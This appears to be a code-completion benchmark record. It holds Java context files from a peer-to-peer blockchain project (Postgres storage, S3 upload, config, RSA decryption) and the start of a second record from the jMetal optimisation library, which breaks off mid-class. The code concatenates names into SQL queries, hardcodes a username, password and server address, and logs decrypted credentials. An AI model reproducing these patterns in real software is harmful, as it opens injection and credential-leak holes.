[ "public class PostgresDB {\n\n private static org.apache.log4j.Logger log = Logger.getLogger(\"DbManager\");\n\n Connection conn;\n final String TABLE_NAME = Config.DB_TABLE_NAME;\n public PostgresDB(String dbName, String user, String secret, boolean reset)\n {\n\n try {\n Class.forName(\"org.postgresql.Driver\");\n } catch (ClassNotFoundException e) {\n log.warn(\"Postgres driver couldn't be reached. Download the jar file and link it to the project\");\n log.warn(e);\n }\n\n try {\n setupDB(dbName, user, secret, reset);\n } catch (SQLException e) {\n log.warn(\"Postgres could not setup the desired database.\");\n log.warn(e);\n }\n\n\n }\n\n private void setupDB(String dbName, String user, String secret, boolean reset) throws SQLException {\n String url = \"jdbc:postgresql://localhost/\";\n\n try {\n conn = DriverManager.getConnection(url, user, secret);\n } catch (SQLException e) {\n log.warn(\"DB could not be created, there is a possible problem related to properties.\");\n log.warn(e);\n }\n\n String query = \"SELECT datname FROM pg_database WHERE datname=\\'\" + dbName + \"\\'\";\n Statement st = conn.createStatement();\n ResultSet rs = st.executeQuery(query);\n boolean exists = false;\n while (rs.next())\n exists = true;\n rs.close();\n\n // Drop the db if it exists and reset is desired\n if (exists && reset)\n {\n conn.close();\n\n url += dbName;\n conn = DriverManager.getConnection(url, user, secret);\n deleteAllTable();\n }\n else if (!exists)\n {\n query = \"CREATE DATABASE \" + dbName;\n st.executeUpdate(query);\n conn.close();\n url += dbName;\n conn = DriverManager.getConnection(url, user, secret);\n }\n st.close();\n\n st = conn.createStatement();\n\n\n query = \"CREATE TABLE IF NOT EXISTS \"+ TABLE_NAME + \" (blockchain JSON);\";\n\n st.executeUpdate(query);\n\n if (reset)\n deleteAllTable();\n\n st.close();\n }\n\n public void deleteAllTable()\n {\n String query = \"DROP TABLE if exists \" + TABLE_NAME + \" CASCADE;\";\n PreparedStatement st = null;\n try {\n st = conn.prepareStatement(query);\n st.executeUpdate();\n query = \"CREATE TABLE \" + TABLE_NAME + \" (blockchain JSON);\";\n st = conn.prepareStatement(query);\n st.executeUpdate();\n } catch (SQLException e) {\n log.debug(e);\n }\n }\n\n public void saveBlockchain(String blockchain)\n {\n deleteAllTable();\n String query = \"Insert into \" + TABLE_NAME + \" (blockchain) VALUES (to_json(?::json))\";\n PreparedStatement st = null;\n\n try {\n st = conn.prepareStatement(query);\n st.setString(1, blockchain);\n }catch (SQLException e) {\n log.debug(e);\n }\n executeQuery(st);\n }\n\n public String getBlockchain()\n {\n String query = \"SELECT blockchain FROM \" + TABLE_NAME + \";\";\n PreparedStatement st = null;\n try {\n st = conn.prepareStatement(query);\n } catch (SQLException e) {\n log.debug(e);\n }\n return dataFetcher(st);\n }\n\n private String dataFetcher(PreparedStatement st)\n {\n try {\n ResultSet rs = st.executeQuery();\n StringBuilder result = new StringBuilder();\n\n while (rs.next()) {\n result.append(rs.getString(1));\n break;\n }\n\n return result.toString();\n } catch (SQLException e) {\n log.debug(e);\n }\n finally {\n try {\n st.close();\n } catch (SQLException e) {\n log.debug(e);\n }\n }\n\n return null;\n }\n private boolean executeQuery(PreparedStatement st)\n {\n try {\n st.executeUpdate();\n return true;\n }\n catch (SQLException e) {\n log.debug(e);\n }\n finally {\n try {\n st.close();\n } catch (SQLException e) {\n log.debug(e);\n }\n }\n\n return false;\n }\n}", "public class ServerAccessor {\n\n private static Logger log = Logger.getLogger(\"UploadUnit\");\n\n private String bucketName = Config.UPLOAD_BUCKETNAME;\n private AmazonS3 s3client;\n\n public ServerAccessor(){\n\n s3client = AmazonS3ClientBuilder.standard()\n .withCredentials(new EnvironmentVariableCredentialsProvider())\n .withRegion(Regions.EU_CENTRAL_1).build();\n }\n\n public void upload(URL url, String filePath, String fileName) throws Exception {\n try {\n System.out.println(\"Uploading a new object to S3 from a file\\n\");\n File file = new File(filePath);\n s3client.putObject(new PutObjectRequest(\n bucketName, fileName, file));\n\n } catch (AmazonServiceException ase) {\n System.out.println(\"Caught an AmazonServiceException, which \" +\n \"means your request made it \" +\n \"to Amazon S3, but was rejected with an error response\" +\n \" for some reason.\");\n System.out.println(\"Error Message: \" + ase.getMessage());\n System.out.println(\"HTTP Status Code: \" + ase.getStatusCode());\n System.out.println(\"AWS Error Code: \" + ase.getErrorCode());\n System.out.println(\"Error Type: \" + ase.getErrorType());\n System.out.println(\"Request ID: \" + ase.getRequestId());\n } catch (AmazonClientException ace) {\n System.out.println(\"Caught an AmazonClientException, which \" +\n \"means the client encountered \" +\n \"an internal error while trying to \" +\n \"communicate with S3, \" +\n \"such as not being able to access the network.\");\n System.out.println(\"Error Message: \" + ace.getMessage());\n }\n }\n\n public void download(String fileName, String toDirectory) throws IOException {\n\n GetObjectRequest request = new GetObjectRequest(bucketName, fileName);\n S3Object object = s3client.getObject(request);\n int size = (int)object.getObjectMetadata().getContentLength();\n S3ObjectInputStream objectContent = object.getObjectContent();\n FileOutputStream fos = new FileOutputStream(toDirectory);\n\n byte[] buffer = new byte[size];\n\n int buf = 0;\n while((buf = objectContent.read(buffer)) > 0)\n {\n fos.write(buffer, 0, buf);\n }\n fos.close();\n }\n\n public boolean doesObjectExist(String fileName)\n {\n log.info(\"BUCKET:\" + bucketName);\n log.info(\"FILE:\" + fileName);\n return s3client.doesObjectExist(bucketName, fileName);\n }\n\n public void delete(String fileName)\n {\n s3client.deleteObject(new DeleteObjectRequest(bucketName, fileName));\n }\n public void UploadObject(URL url, String filePath) throws IOException\n {\n HttpURLConnection connection=(HttpURLConnection) url.openConnection();\n connection.setDoOutput(true);\n connection.setRequestMethod(\"PUT\");\n OutputStreamWriter out = new OutputStreamWriter(\n connection.getOutputStream());\n out.write(new String(Files.readAllBytes(Paths.get(filePath))));\n out.close();\n int responseCode = connection.getResponseCode();\n log.info(\"Service returned response code \" + responseCode);\n }\n\n public URL getURL(String fileName)\n {\n log.debug(\"Generating pre-signed URL.\");\n java.util.Date expiration = new java.util.Date();\n long milliSeconds = expiration.getTime();\n milliSeconds += Config.UPLOAD_EXPIRATION_TIME; // Add 10 sec.\n expiration.setTime(milliSeconds);\n\n GeneratePresignedUrlRequest generatePresignedUrlRequest =\n new GeneratePresignedUrlRequest(bucketName, fileName);\n generatePresignedUrlRequest.setMethod(HttpMethod.PUT);\n generatePresignedUrlRequest.setExpiration(expiration);\n\n return s3client.generatePresignedUrl(generatePresignedUrlRequest);\n }\n}", "public class Config {\n\n public static String USER_NAME = \"Client1\";\n public static String USER_PASS = \"Pass1\";\n\n public static int MESSAGE_OUTGOING = 200;\n public static int MESSAGE_OUTGOING_RESPONSE = 201;\n public static int MESSAGE_MAX_TRIALS = 4;\n public static int MESSAGE_ACK = 900;\n public static int MESSAGE_REQUEST_KEYSET = 301;\n public static int MESSAGE_REQUEST_BLOCK = 302;\n public static int MESSAGE_TIMEOUT = 2500;\n\n public static int MESSAGE_RESPONSE_INVALIDKEY = 401;\n public static int MESSAGE_RESPONSE_INVALIDHASH = 402;\n public static int MESSAGE_RESPONSE_VALID = 403;\n\n public static int MESSAGE_SERVER_TEST = 999;\n\n public static int UPLOAD_EXPIRATION_TIME = 100000;\n public static int BLOCKCHAIN_BATCH_TIMEOUT = 10000;\n public static int BLOCKCHAIN_BATCH_PERIOD = 8000;\n public static int TRANSACTION_VALIDATION_TIMEOUT = 5000;\n public static int BLOCK_CREATION_TIMEOUT = 300000;\n\n public static String KEY_SPLITTER = \"////\";\n\n public static String DB_TABLE_NAME=\"blockchain\";\n\n public static String SERVER_ADDRESS = \"46.101.245.232\";\n public static int SERVER_PORT = 4141;\n public static int SERVER_TIMEOUT = 5000;\n\n public static int CLIENT_HEARTBEAT_PORT = 4141;\n public static int CLIENT_SERVER_PORT = 4142;\n public static String CLIENT_MESSAGE_SPLITTER = \"////\";\n public static String CLIENT_MESSAGE_PEERSIZE = \"X\";\n\n public static int HEARTBEAT_FLAG_CLIENT = 101;\n public static int HEARTBEAT_FLAG_SERVER = 100;\n public static int HEARTBEAT_ACK = 102;\n public static int HEARTBEAT_PERIOD = 5000;\n public static int HEARTBEAT_TIMEOUT = 10000;\n public static int HEARTBEAT_MAX_TRIALS = 3;\n\n public static int FLAG_BROADCAST_TRANSACTION = 1;\n public static int FLAG_BROADCAST_HASH = 2;\n public static int FLAG_BLOCKCHAIN_INVALID = 4;\n\n public static String UPLOAD_BUCKETNAME = \"crypdist-trial-bucket-mfs\";\n\n\n\n public static String PRIVATE_KEY = \"\";\n\n}", "public class CrypDist {\n\n private static transient Logger log = Logger.getLogger(\"CrypDist\");\n private byte[] sessionKey;\n private boolean authenticated;\n private boolean active;\n private ScreenManager screenManager;\n // Flag 1 = Transaction data\n // Flag 2 = Hash\n // Flag 3 = Valid transaction message\n // Flag 4 = Validate my blockchain (taken from blockchainManager)\n\n private static BlockchainManager blockchainManager;\n private static Client client;\n\n public CrypDist(ScreenManager screenManager)\n {\n this.screenManager = screenManager;\n if(!Decryption.initialization())\n log.warn(\"Decryption service cannot be created.\");\n client = new Client(this);\n blockchainManager = new BlockchainManager(this, sessionKey);\n updateBlockchain();\n Thread t = new Thread(client);\n t.start();\n }\n\n public CrypDist()\n {\n if(!Decryption.initialization())\n log.warn(\"Decryption service cannot be created.\");\n client = new Client(this);\n blockchainManager = new BlockchainManager(this, sessionKey);\n updateBlockchain();\n Thread t = new Thread(client);\n\n if(isAuthenticated() && isActive())\n log.error(\"CrypDist is started successfully, authenticated and active.\");\n else if(isAuthenticated() && !isActive())\n log.error(\"CrypDist is started successfully, authenticated and passive.\");\n else if(!isAuthenticated() && isActive())\n log.error(\"CrypDist is started successfully, NOT authenticated and active.\");\n else\n log.error(\"CrypDist is started successfully, NOT authenticated and passive.\");\n\n t.start();\n }\n\n public BlockchainManager getBlockchainManager()\n {\n return blockchainManager;\n }\n\n public String updateByClient(String arg) {\n if (blockchainManager == null || blockchainManager.getBlockchain() == null){\n return \"\";\n }\n Gson gson = new Gson();\n\n String lastHash = blockchainManager.getBlockchain().getLastBlock();\n\n String strToBeSplitted = arg;\n String[] elems = strToBeSplitted.split(Config.CLIENT_MESSAGE_SPLITTER);\n String ip = elems[0];\n String str = elems[1];\n\n if(ip.equals(Config.CLIENT_MESSAGE_PEERSIZE)) {\n log.debug(\"Pair size is now \" + str);\n blockchainManager.setNumOfPairs(Integer.parseInt(str));\n return \"\";\n }\n\n JsonObject obj2 = gson.fromJson(str, JsonObject.class);\n\n int flagValue = obj2.get(\"flag\").getAsInt();\n\n if(flagValue == Config.MESSAGE_REQUEST_KEYSET) {\n return blockchainManager.getKeySet();\n }\n\n if(flagValue == Config.MESSAGE_REQUEST_BLOCK) {\n log.debug(\"BLOCK REQUESTED.\");\n JsonElement data = obj2.get(\"data\");\n String dataStr = data.getAsString();\n\n Object block = blockchainManager.getBlock(dataStr);\n if(block == null) {\n return \"\";\n } else {\n return gson.toJson(blockchainManager.getBlock(dataStr));\n }\n\n }\n byte[] dummy = new byte[1];\n\n String hashValue = obj2.get(\"lastHash\").getAsString();\n byte[] key = Base64.getDecoder().decode( gson.fromJson(obj2.get(\"key\").getAsString(),dummy.getClass()));\n String[] credentials = Decryption.decryptGet(key);\n String messageIp;\n if(credentials == null){\n log.warn(\"The incoming message includes false key\");\n messageIp = \"\";\n }\n else {\n messageIp = credentials[0];\n }\n\n\n\n JsonObject toReturn = new JsonObject();\n toReturn.addProperty(\"key\", Base64.getEncoder().encodeToString(sessionKey));\n\n if(ip.equals(messageIp)) {\n if (blockchainManager.validateHash(hashValue)) {\n\n if (flagValue == Config.FLAG_BROADCAST_TRANSACTION) {\n\n JsonElement data = obj2.get(\"data\");\n String dataStr = data.getAsString();\n\n toReturn.addProperty(\"response\", Config.MESSAGE_RESPONSE_VALID);\n toReturn.addProperty(\"transaction\", dataStr);\n toReturn.addProperty(\"lastHash\", hashValue);\n\n blockchainManager.addTransaction(dataStr);\n\n } else if (flagValue == Config.FLAG_BROADCAST_HASH) {\n toReturn.addProperty(\"response\", Config.MESSAGE_RESPONSE_VALID);\n\n JsonElement data = obj2.get(\"data\");\n JsonElement time = obj2.get(\"timeStamp\");\n JsonElement blockId = obj2.get(\"blockId\");\n blockchainManager.receiveHash(data.getAsString(), time.getAsLong(), blockId.getAsString());\n }\n\n } else {\n toReturn.addProperty(\"response\", Config.MESSAGE_RESPONSE_INVALIDHASH);\n log.warn(\"Incoming message has invalid hash.\");\n }\n }\n else {\n toReturn.addProperty(\"response\", Config.MESSAGE_RESPONSE_INVALIDKEY);\n }\n return gson.toJson(toReturn);\n }\n\n public String updateByBlockchain(Object arg) {\n log.debug(\"BE NOTIFIED\");\n Gson gson = new Gson();\n String lastHash = blockchainManager.getBlockchain().getLastBlock();\n\n JsonObject obj = (JsonObject) arg;\n obj.addProperty(\"lastHash\", lastHash);\n byte [] keyStr = Base64.getEncoder().encode(sessionKey);\n obj.addProperty(\"key\", gson.toJson(keyStr));\n\n int flag = obj.get(\"flag\").getAsInt();\n\n if(flag == Config.FLAG_BROADCAST_TRANSACTION) {\n\n log.debug(\"TRANSACTION IS BEING SENT\");\n HashMap<String,String> results = client.broadCastMessageResponseWithIp(obj.toString());\n\n log.debug(\"RESULT SIZE IS \" + results);\n int totalValidResponses = 0;\n int totalValidations = 0;\n int totalInvalidKeysResponses = 0;\n int totalInvalidHashResponses = 0;\n String transaction = null;\n\n for(Map.Entry<String,String> entry : results.entrySet()) {\n\n JsonObject result = gson.fromJson(entry.getValue(), JsonObject.class);\n byte[] key = Base64.getDecoder().decode(result.get(\"key\").getAsString());\n String[] credentials = Decryption.decryptGet(key);\n if (credentials == null) {\n continue;\n }\n String messageIp = credentials[0];\n String username = credentials[1];\n\n\n if (messageIp.equals(entry.getKey()) && username.length() > 2) {\n int response = result.get(\"response\").getAsInt();\n\n if (response == Config.MESSAGE_RESPONSE_INVALIDKEY) {\n totalInvalidKeysResponses++;\n }\n if (response == Config.MESSAGE_RESPONSE_VALID) {\n\n if(transaction != null && !transaction.equals(result.get(\"transaction\").getAsString()))\n log.warn(\"WRONG RESPONSE\");\n\n transaction = result.get(\"transaction\").getAsString();\n totalValidations++;\n }\n if (response == Config.MESSAGE_RESPONSE_INVALIDHASH)\n totalInvalidHashResponses++;\n\n totalValidResponses++;\n }\n }\n\n log.debug(totalValidations + \" vs \" + totalValidResponses);\n log.debug(\"Invalid:\" + totalInvalidHashResponses + \" vs \" + totalValidResponses);\n\n if(totalValidations >= totalValidResponses/2+1)\n blockchainManager.markValid(transaction);\n else if(totalInvalidHashResponses >= totalValidResponses/2 +1)\n {\n updateBlockchain();\n blockchainManager.addTransaction(obj.get(\"data\").getAsString());\n updateByBlockchain(arg);\n }\n }\n else if (flag == Config.FLAG_BROADCAST_HASH) {\n log.debug(\"HASH BROADCAST IS IN PROCESS\");\n client.broadCastMessage(obj.toString());\n }\n else if (flag == Config.FLAG_BLOCKCHAIN_INVALID) {\n log.debug(\"HASH UPDATE IS IN PROGRESS\");\n updateBlockchain();\n }\n else\n log.warn(\"Invalid flag\");\n\n return \"\";\n }\n\n public void updateBlockchain()\n {\n synchronized (this) {\n blockchainManager.setUpdating(true);\n // UPDATE BLOCKCHAIN\n log.info(\"Blockchain update procedure is started!\");\n ArrayList<String> keySet = client.receiveKeySet();\n if (keySet.size() == 0) {\n blockchainManager.setUpdating(false);\n return;\n }\n Set<String> purifiedList = blockchainManager.getPurifiedList(keySet);\n\n for (String str: purifiedList)\n {\n log.debug(\"KEY IN PURIFIED LIST: \" + str);\n }\n\n for (String str:blockchainManager.getBlockchain().getKeySet())\n {\n log.debug(\"KEY IN BLOCKCHAIN: \" + str);\n }\n\n Set<String> neededBlocks = blockchainManager.getNeededBlocks(purifiedList);\n\n blockchainManager.removeInvalidBlocks(new ArrayList<>(purifiedList));\n\n\n if (neededBlocks.size() == 1){\n log.trace(neededBlocks.iterator().next());\n }\n else if (neededBlocks.size() == 0) {\n blockchainManager.setUpdating(false);\n return;\n }\n\n HashMap<String, String> blocks = client.receiveBlocks(neededBlocks);\n\n for (String str : blocks.values())\n log.debug(\"BLOCK \" + str);\n\n\n blockchainManager.addNewBlocks(blocks);\n blockchainManager.setUpdating(false);\n }\n }\n\n public void setSessionKey(byte[] sessionKey) {\n this.sessionKey = sessionKey;\n }\n\n public byte[] getSessionKey() {\n return sessionKey;\n }\n\n public void setAuthenticated(boolean authenticated) {\n this.authenticated = authenticated;\n }\n\n public boolean isAuthenticated() {\n return authenticated;\n }\n\n public boolean isActive() {\n return active;\n }\n\n public void setActive(boolean active) {\n this.active = active;\n }\n}", "public class Decryption {\n private static transient Logger log = Logger.getLogger(\"Decryption\");\n public static Decryption instance;\n public static Cipher cipher;\n public static final Object lock = new Object();\n\n public Decryption() throws Exception{\n\n String privateKeyContent = Config.PRIVATE_KEY.replaceAll(\"\\\\n\", \"\").replaceAll(\"\\\\r\", \"\").replace(\"-----BEGIN PRIVATE KEY-----\", \"\").replace(\"-----END PRIVATE KEY-----\", \"\");\n\n KeyFactory kf = KeyFactory.getInstance(\"RSA\");\n\n PKCS8EncodedKeySpec keySpecPKCS8 = new PKCS8EncodedKeySpec(Base64.getDecoder().decode(privateKeyContent));\n PrivateKey privKey = kf.generatePrivate(keySpecPKCS8);\n\n cipher = Cipher.getInstance(\"RSA\");\n cipher.init(Cipher.DECRYPT_MODE, privKey);\n }\n\n public static boolean initialization(){\n try {\n instance = new Decryption();\n return true;\n } catch (Exception e ) {\n log.debug(e);\n return false;\n }\n }\n\n public static String[] decryptGet(byte[] secret) {\n synchronized (lock) {\n try {\n String result = new String(cipher.doFinal(secret), \"UTF8\");\n log.debug(result);\n String[] splitted = result.split(Config.KEY_SPLITTER);\n if (splitted.length < 2 || splitted.length > 2) {\n log.warn(\"SPLITTED SIZE=\\t\" + splitted.length);\n for (String str : splitted)\n log.warn(\"SPLITTED\\t\" + str);\n return null;\n }\n return splitted;\n } catch (Exception e) {\n log.debug(e);\n return null;\n }\n }\n }\n\n}" ]
import DbManager.PostgresDB; import UploadUnit.ServerAccessor; import Util.Config; import Util.CrypDist; import Util.Decryption; import com.google.gson.Gson; import com.google.gson.JsonObject; import org.apache.commons.net.ntp.NTPUDPClient; import org.apache.commons.net.ntp.TimeInfo; import org.apache.log4j.Logger; import java.io.File; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.net.InetAddress; import java.net.URL; import java.net.UnknownHostException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.concurrent.Callable; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.PriorityBlockingQueue;
package Blockchain; /** * Created by Kaan on 18-Feb-17. */ public class BlockchainManager { static transient Logger log = Logger.getLogger("BlockchainManager");
private CrypDist crypDist;
3
yyxhdy/ManyEAs
src/jmetal/problems/Binh2.java
[ "public abstract class Problem implements Serializable {\n\n\t/**\n\t * Defines the default precision of binary-coded variables\n\t */\n\tprivate final static int DEFAULT_PRECISSION = 16;\n\n\t/**\n\t * Stores the number of variables of the problem\n\t */\n\tprotected int numberOfVariables_;\n\n\t/**\n\t * Stores the number of objectives of the problem\n\t */\n\tprotected int numberOfObjectives_;\n\n\t/**\n\t * Stores the number of constraints of the problem\n\t */\n\tprotected int numberOfConstraints_;\n\n\t/**\n\t * Stores the problem name\n\t */\n\tprotected String problemName_;\n\n\t/**\n\t * Stores the type of the solutions of the problem\n\t */\n\tprotected SolutionType solutionType_;\n\n\t/**\n\t * Stores the lower bound values for each encodings.variable (only if\n\t * needed)\n\t */\n\tprotected double[] lowerLimit_;\n\n\t/**\n\t * Stores the upper bound values for each encodings.variable (only if\n\t * needed)\n\t */\n\tprotected double[] upperLimit_;\n\n\t/**\n\t * Stores the number of bits used by binary-coded variables (e.g.,\n\t * BinaryReal variables). By default, they are initialized to\n\t * DEFAULT_PRECISION)\n\t */\n\tprivate int[] precision_;\n\n\t/**\n\t * Stores the length of each encodings.variable when applicable (e.g.,\n\t * Binary and Permutation variables)\n\t */\n\tprotected int[] length_;\n\n\t/**\n\t * Stores the type of each encodings.variable\n\t */\n\t// public Class [] variableType_;\n\n\t/**\n\t * Constructor.\n\t */\n\tpublic Problem() {\n\t\tsolutionType_ = null;\n\t} // Problem\n\n\t/**\n\t * Constructor.\n\t */\n\tpublic Problem(SolutionType solutionType) {\n\t\tsolutionType_ = solutionType;\n\t} // Problem\n\n\t/**\n\t * Gets the number of decision variables of the problem.\n\t * \n\t * @return the number of decision variables.\n\t */\n\tpublic int getNumberOfVariables() {\n\t\treturn numberOfVariables_;\n\t} // getNumberOfVariables\n\n\t/**\n\t * Sets the number of decision variables of the problem.\n\t */\n\tpublic void setNumberOfVariables(int numberOfVariables) {\n\t\tnumberOfVariables_ = numberOfVariables;\n\t} // getNumberOfVariables\n\n\t/**\n\t * Gets the the number of objectives of the problem.\n\t * \n\t * @return the number of objectives.\n\t */\n\tpublic int getNumberOfObjectives() {\n\t\treturn numberOfObjectives_;\n\t} // getNumberOfObjectives\n\n\t/**\n\t * Gets the lower bound of the ith encodings.variable of the problem.\n\t * \n\t * @param i\n\t * The index of the encodings.variable.\n\t * @return The lower bound.\n\t */\n\tpublic double getLowerLimit(int i) {\n\t\treturn lowerLimit_[i];\n\t} // getLowerLimit\n\n\t/**\n\t * Gets the upper bound of the ith encodings.variable of the problem.\n\t * \n\t * @param i\n\t * The index of the encodings.variable.\n\t * @return The upper bound.\n\t */\n\tpublic double getUpperLimit(int i) {\n\t\treturn upperLimit_[i];\n\t} // getUpperLimit\n\n\t/**\n\t * Evaluates a <code>Solution</code> object.\n\t * \n\t * @param solution\n\t * The <code>Solution</code> to evaluate.\n\t */\n\tpublic abstract void evaluate(Solution solution) throws JMException;\n\n\t/**\n\t * Gets the number of side constraints in the problem.\n\t * \n\t * @return the number of constraints.\n\t */\n\tpublic int getNumberOfConstraints() {\n\t\treturn numberOfConstraints_;\n\t} // getNumberOfConstraints\n\n\t/**\n\t * Evaluates the overall constraint violation of a <code>Solution</code>\n\t * object.\n\t * \n\t * @param solution\n\t * The <code>Solution</code> to evaluate.\n\t */\n\tpublic void evaluateConstraints(Solution solution) throws JMException {\n\t\t// The default behavior is to do nothing. Only constrained problems have\n\t\t// to\n\t\t// re-define this method\n\t} // evaluateConstraints\n\n\t/**\n\t * Returns the number of bits that must be used to encode binary-real\n\t * variables\n\t * \n\t * @return the number of bits.\n\t */\n\tpublic int getPrecision(int var) {\n\t\treturn precision_[var];\n\t} // getPrecision\n\n\t/**\n\t * Returns array containing the number of bits that must be used to encode\n\t * binary-real variables.\n\t * \n\t * @return the number of bits.\n\t */\n\tpublic int[] getPrecision() {\n\t\treturn precision_;\n\t} // getPrecision\n\n\t/**\n\t * Sets the array containing the number of bits that must be used to encode\n\t * binary-real variables.\n\t * \n\t * @param precision\n\t * The array\n\t */\n\tpublic void setPrecision(int[] precision) {\n\t\tprecision_ = precision;\n\t} // getPrecision\n\n\t/**\n\t * Returns the length of the encodings.variable.\n\t * \n\t * @return the encodings.variable length.\n\t */\n\tpublic int getLength(int var) {\n\t\tif (length_ == null)\n\t\t\treturn DEFAULT_PRECISSION;\n\t\treturn length_[var];\n\t} // getLength\n\n\t/**\n\t * Sets the type of the variables of the problem.\n\t * \n\t * @param type\n\t * The type of the variables\n\t */\n\tpublic void setSolutionType(SolutionType type) {\n\t\tsolutionType_ = type;\n\t} // setSolutionType\n\n\t/**\n\t * Returns the type of the variables of the problem.\n\t * \n\t * @return type of the variables of the problem.\n\t */\n\tpublic SolutionType getSolutionType() {\n\t\treturn solutionType_;\n\t} // getSolutionType\n\n\t/**\n\t * Returns the problem name\n\t * \n\t * @return The problem name\n\t */\n\tpublic String getName() {\n\t\treturn problemName_;\n\t}\n\n\t/**\n\t * Returns the number of bits of the solutions of the problem\n\t * \n\t * @return The number of bits solutions of the problem\n\t */\n\tpublic int getNumberOfBits() {\n\t\tint result = 0;\n\t\tfor (int var = 0; var < numberOfVariables_; var++) {\n\t\t\tresult += getLength(var);\n\t\t}\n\t\treturn result;\n\t} // getNumberOfBits();\n} // Problem", "public class Solution implements Serializable {\n\t/**\n\t * Stores the problem\n\t */\n\tprivate Problem problem_;\n\n\t/**\n\t * Stores the type of the encodings.variable\n\t */\n\tprivate SolutionType type_;\n\n\t/**\n\t * Stores the decision variables of the solution.\n\t */\n\tprivate Variable[] variable_;\n\n\t/**\n\t * Stores the objectives values of the solution.\n\t */\n\tprivate final double[] objective_;\n\n\t/**\n\t * Stores the number of objective values of the solution\n\t */\n\tprivate int numberOfObjectives_;\n\n\t/**\n\t * Stores the so called fitness value. Used in some metaheuristics\n\t */\n\tprivate double fitness_;\n\n\t/**\n\t * Used in algorithm AbYSS, this field is intended to be used to know when a\n\t * <code>Solution</code> is marked.\n\t */\n\tprivate boolean marked_;\n\n\t/**\n\t * Stores the so called rank of the solution. Used in NSGA-II\n\t */\n\tprivate int rank_;\n\n\t/**\n\t * Stores the overall constraint violation of the solution.\n\t */\n\tprivate double overallConstraintViolation_;\n\n\t/**\n\t * Stores the number of constraints violated by the solution.\n\t */\n\tprivate int numberOfViolatedConstraints_;\n\n\t/**\n\t * This field is intended to be used to know the location of a solution into\n\t * a <code>SolutionSet</code>. Used in MOCell\n\t */\n\tprivate int location_;\n\n\t/**\n\t * Stores the distance to his k-nearest neighbor into a\n\t * <code>SolutionSet</code>. Used in SPEA2.\n\t */\n\tprivate double kDistance_;\n\n\t/**\n\t * Stores the crowding distance of the the solution in a\n\t * <code>SolutionSet</code>. Used in NSGA-II.\n\t */\n\tprivate double crowdingDistance_;\n\n\t/**\n\t * Stores the distance between this solution and a <code>SolutionSet</code>.\n\t * Used in AbySS.\n\t */\n\tprivate double distanceToSolutionSet_;\n\t\n\t\n\t\n\tprivate int clusterID_;\n\tprivate double vDistance_;\n\n\t\n\t\n\n\n\tprivate double[] normalizedObjective_;\n\t\n\n\n\t/**\n\t * Constructor.\n\t */\n\tpublic Solution() {\n\t\tproblem_ = null;\n\t\tmarked_ = false;\n\t\toverallConstraintViolation_ = 0.0;\n\t\tnumberOfViolatedConstraints_ = 0;\n\t\ttype_ = null;\n\t\tvariable_ = null;\n\t\tobjective_ = null;\n\t\t\n\t\t\n\t} // Solution\n\n\t/**\n\t * Constructor\n\t * \n\t * @param numberOfObjectives\n\t * Number of objectives of the solution\n\t * \n\t * This constructor is used mainly to read objective values from\n\t * a file to variables of a SolutionSet to apply quality\n\t * indicators\n\t */\n\tpublic Solution(int numberOfObjectives) {\n\t\tnumberOfObjectives_ = numberOfObjectives;\n\t\tobjective_ = new double[numberOfObjectives];\n\t\t\n\t\tnormalizedObjective_ = new double[numberOfObjectives_];\n\n\t}\n\n\t/**\n\t * Constructor.\n\t * \n\t * @param problem\n\t * The problem to solve\n\t * @throws ClassNotFoundException\n\t */\n\tpublic Solution(Problem problem) throws ClassNotFoundException {\n\t\tproblem_ = problem;\n\t\ttype_ = problem.getSolutionType();\n\t\tnumberOfObjectives_ = problem.getNumberOfObjectives();\n\t\tobjective_ = new double[numberOfObjectives_];\n\n\t\tnormalizedObjective_ = new double[numberOfObjectives_];\n\t\t\n\t\t\n\t\t// Setting initial values\n\t\tfitness_ = 0.0;\n\t\tkDistance_ = 0.0;\n\t\tcrowdingDistance_ = 0.0;\n\t\tdistanceToSolutionSet_ = Double.POSITIVE_INFINITY;\n\t\t\n//\t\tr2Contribution_ = 0.0;\n\t\t// <-\n\t\t\n\n\n\t\t// variable_ = problem.solutionType_.createVariables() ;\n\t\tvariable_ = type_.createVariables();\n\t} // Solution\n\n\tstatic public Solution getNewSolution(Problem problem)\n\t\t\tthrows ClassNotFoundException {\n\t\treturn new Solution(problem);\n\t}\n\n\t/**\n\t * Constructor\n\t * \n\t * @param problem\n\t * The problem to solve\n\t */\n\tpublic Solution(Problem problem, Variable[] variables) {\n\t\tproblem_ = problem;\n\t\ttype_ = problem.getSolutionType();\n\t\tnumberOfObjectives_ = problem.getNumberOfObjectives();\n\t\tobjective_ = new double[numberOfObjectives_];\n\t\t\n\t\tnormalizedObjective_ = new double[numberOfObjectives_];\n\t\t\n\n\t\t\n\t\t// Setting initial values\n\t\tfitness_ = 0.0;\n\t\tkDistance_ = 0.0;\n\t\tcrowdingDistance_ = 0.0;\n\t\tdistanceToSolutionSet_ = Double.POSITIVE_INFINITY;\n\t\t\n//\t\tr2Contribution_ = 0.0;\n\t\t// <-\n\t\t\n\t\t\n\t\tvariable_ = variables;\n\t} // Constructor\n\n\t/**\n\t * Copy constructor.\n\t * \n\t * @param solution\n\t * Solution to copy.\n\t */\n\tpublic Solution(Solution solution) {\n\t\tproblem_ = solution.problem_;\n\t\ttype_ = solution.type_;\n\n\t\tnumberOfObjectives_ = solution.numberOfObjectives();\n\t\tobjective_ = new double[numberOfObjectives_];\n\t\t\n\t\tnormalizedObjective_ = new double[numberOfObjectives_];\n\t\t\n\n\t\t\n\t\tfor (int i = 0; i < objective_.length; i++) {\n\t\t\tobjective_[i] = solution.getObjective(i);\n\t\t\tnormalizedObjective_[i] = solution.getNormalizedObjective(i);\n\t\t} // for\n\t\t// <-\n\n\t\tvariable_ = type_.copyVariables(solution.variable_);\n\t\toverallConstraintViolation_ = solution.getOverallConstraintViolation();\n\t\tnumberOfViolatedConstraints_ = solution.getNumberOfViolatedConstraint();\n\t\tdistanceToSolutionSet_ = solution.getDistanceToSolutionSet();\n\t\tcrowdingDistance_ = solution.getCrowdingDistance();\n\t\tkDistance_ = solution.getKDistance();\n\t\tfitness_ = solution.getFitness();\n\t\tmarked_ = solution.isMarked();\n\t\trank_ = solution.getRank();\n\t\tlocation_ = 